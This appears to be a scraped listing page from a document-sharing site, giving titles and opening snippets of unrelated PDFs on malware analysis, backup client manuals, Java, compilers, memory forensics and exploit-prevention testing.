Parasitics: The Next Generation. Vitaly Zaytsev Abhishek Karnik Joshua Phillips Parasitics: The Next Generation. Vitaly Zaytsev Abhishek Karnik Joshua Phillips Agenda Overview W32/Xpaj analysis Overview of a virtual machine Software protection trends W32/Winemmem analysis W32/Induc

More information

1. Product Information

1. Product Information ORIXCLOUD BACKUP CLIENT USER MANUAL LINUX 1. Product Information Product: Orixcloud Backup Client for Linux Version: 4.1.7 1.1 System Requirements Linux (RedHat, SuSE, Debian and Debian based systems such

More information

An Overview of Java. overview-1

An Overview of Java. overview-1 An Overview of Java overview-1 Contents What is Java Major Java features Java virtual machine Java programming language Java class libraries (API) GUI Support in Java Networking and Threads in Java overview-2

More information

A Java Crib Sheet. First: Find the Command Line

A Java Crib Sheet. First: Find the Command Line A Java Crib Sheet Unlike JavaScript, which is pretty much ready-to-go on any computer with a modern Web browser, Java might be a more complex affair However, logging some time with Java can be fairly valuable,

More information

This report is a detailed analysis of the dropper and the payload of the HIMAN malware.

This report is a detailed analysis of the dropper and the payload of the HIMAN malware. PAGE 5 Check Point Malware Research Group HIMAN Malware Analysis December 12, 2013 Researcher: Overview This report is a detailed analysis of the dropper and the payload of the HIMAN malware. This malware

More information

Sharp Remote Device Manager (SRDM) Server Software Setup Guide

Sharp Remote Device Manager (SRDM) Server Software Setup Guide Sharp Remote Device Manager (SRDM) Server Software Setup Guide This Guide explains how to install the software which is required in order to use Sharp Remote Device Manager (SRDM). SRDM is a web-based

More information

Online Backup Client User Manual Linux

Online Backup Client User Manual Linux Online Backup Client User Manual Linux 1. Product Information Product: Online Backup Client for Linux Version: 4.1.7 1.1 System Requirements Operating System Linux (RedHat, SuSE, Debian and Debian based

More information

Compiler Construction

Compiler Construction Compiler Construction Lecture 1 - An Overview 2003 Robert M. Siegfried All rights reserved A few basic definitions Translate - v, a.to turn into one s own language or another. b. to transform or turn from

More information

Reverse Engineering and Computer Security

Reverse Engineering and Computer Security Reverse Engineering and Computer Security Alexander Sotirov [email protected] Introduction Security researcher at Determina, working on our LiveShield product Responsible for vulnerability analysis and

More information

MRG Effitas Real World Enterprise Security Exploit Prevention March 2015. Real World Enterprise Security Exploit Prevention Test.

MRG Effitas Real World Enterprise Security Exploit Prevention March 2015. Real World Enterprise Security Exploit Prevention Test. Real World Enterprise Security Exploit Prevention Test March 2015 1 1 Executive summary...3 2 Certifications...6 3 Test methodology...7 3.1 Source of exploits...9 3.2 False positive test... 10 3.3 0-day

More information

From Georgia, with Love Win32/Georbot. Is someone trying to spy on Georgians?

From Georgia, with Love Win32/Georbot. Is someone trying to spy on Georgians? From Georgia, with Love Win32/Georbot Is someone trying to spy on Georgians? At the beginning of the year, a curious piece of malware came to our attention. An analyst in our virus laboratory noticed that

More information

by Jonathan Kohl and Paul Rogers 40 BETTER SOFTWARE APRIL 2005 www.stickyminds.com

by Jonathan Kohl and Paul Rogers 40 BETTER SOFTWARE APRIL 2005 www.stickyminds.com Test automation of Web applications can be done more effectively by accessing the plumbing within the user interface. Here is a detailed walk-through of Watir, a tool many are using to check the pipes.

More information

Topics. Introduction. Java History CS 146. Introduction to Programming and Algorithms Module 1. Module Objectives

Topics. Introduction. Java History CS 146. Introduction to Programming and Algorithms Module 1. Module Objectives Introduction to Programming and Algorithms Module 1 CS 146 Sam Houston State University Dr. Tim McGuire Module Objectives To understand: the necessity of programming, differences between hardware and software,

More information

Introducing the.net Framework 4.0

Introducing the.net Framework 4.0 01_0672331004_ch01.qxp 5/3/10 5:40 PM Page 1 CHAPTER 1 Introducing the.net Framework 4.0 As a Visual Basic 2010 developer, you need to understand the concepts and technology that empower your applications:

More information

Pseudo code Tutorial and Exercises Teacher s Version

Pseudo code Tutorial and Exercises Teacher s Version Pseudo code Tutorial and Exercises Teacher s Version Pseudo-code is an informal way to express the design of a computer program or an algorithm in 1.45. The aim is to get the idea quickly and also easy

More information

Filtered Views for Microsoft Dynamics CRM

Filtered Views for Microsoft Dynamics CRM Filtered Views for Microsoft Dynamics CRM Version 4.2.13, March 5, 2010 Copyright 2009-2010 Stunnware GmbH - 1 of 32 - Contents Overview... 3 How it works... 4 Setup... 5 Contents of the download package...

More information

Unix Security Technologies. Pete Markowsky <peterm[at] ccs.neu.edu>

Unix Security Technologies. Pete Markowsky <peterm[at] ccs.neu.edu> Unix Security Technologies Pete Markowsky What is this about? The goal of this CPU/SWS are: Introduce you to classic vulnerabilities Get you to understand security advisories Make

More information

Note: A WebFOCUS Developer Studio license is required for each developer.

Note: A WebFOCUS Developer Studio license is required for each developer. WebFOCUS FAQ s Q. What is WebFOCUS? A. WebFOCUS was developed by Information Builders Incorporated and is a comprehensive and fully integrated enterprise business intelligence system. The WebFOCUShttp://www.informationbuilders.com/products/webfocus/architecture.html

More information

Binary Code Extraction and Interface Identification for Security Applications

Binary Code Extraction and Interface Identification for Security Applications Binary Code Extraction and Interface Identification for Security Applications Juan Caballero Noah M. Johnson Stephen McCamant Dawn Song UC Berkeley Carnegie Mellon University Abstract Binary code reuse

More information

Introduction to dobe Acrobat XI Pro

Introduction to dobe Acrobat XI Pro Introduction to dobe Acrobat XI Pro Introduction to Adobe Acrobat XI Pro is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License. To view a copy of this

More information

Compilers. Introduction to Compilers. Lecture 1. Spring term. Mick O Donnell: [email protected] Alfonso Ortega: alfonso.ortega@uam.

Compilers. Introduction to Compilers. Lecture 1. Spring term. Mick O Donnell: michael.odonnell@uam.es Alfonso Ortega: alfonso.ortega@uam. Compilers Spring term Mick O Donnell: [email protected] Alfonso Ortega: [email protected] Lecture 1 to Compilers 1 Topic 1: What is a Compiler? 3 What is a Compiler? A compiler is a computer

More information

Persist It Using and Abusing Microsoft s Fix It Patches

Persist It Using and Abusing Microsoft s Fix It Patches Persist It Using and Abusing Microsoft s Fix It Patches Jon Erickson : isight Partners : [email protected] Abstract: Microsoft has often used Fix it patches, which are a subset of Application

More information

Detecting Malware With Memory Forensics. Hal Pomeranz SANS Institute

Detecting Malware With Memory Forensics. Hal Pomeranz SANS Institute Detecting Malware With Memory Forensics Hal Pomeranz SANS Institute Why Memory Forensics? Everything in the OS traverses RAM Processes and threads Malware (including rootkit technologies) Network sockets,

More information

Memory Management Simulation Interactive Lab

Memory Management Simulation Interactive Lab Memory Management Simulation Interactive Lab The purpose of this lab is to help you to understand deadlock. We will use a MOSS simulator for this. The instructions for this lab are for a computer running

More information

White Paper. No Signature Required: The Power of Emulation in Preventing Malware

White Paper. No Signature Required: The Power of Emulation in Preventing Malware No Signature Required: The Power of Emulation in Preventing Malware Table of Contents Emerging Threats Require a New Approach to Protection....3 Real-Time Behavior Emulation of Web Content...3 Use Case

More information

Using Microsoft Visual Studio 2010. API Reference

Using Microsoft Visual Studio 2010. API Reference 2010 API Reference Published: 2014-02-19 SWD-20140219103929387 Contents 1... 4 Key features of the Visual Studio plug-in... 4 Get started...5 Request a vendor account... 5 Get code signing and debug token

More information

Cross-platform IL code manipulation library for runtime instrumentation of.net applications

Cross-platform IL code manipulation library for runtime instrumentation of.net applications Cross-platform IL code manipulation library for runtime instrumentation of.net applications master thesis subject for Markus Gaisbauer (0256634) in cooperation with dynatrace software GmbH July 5, 2007

More information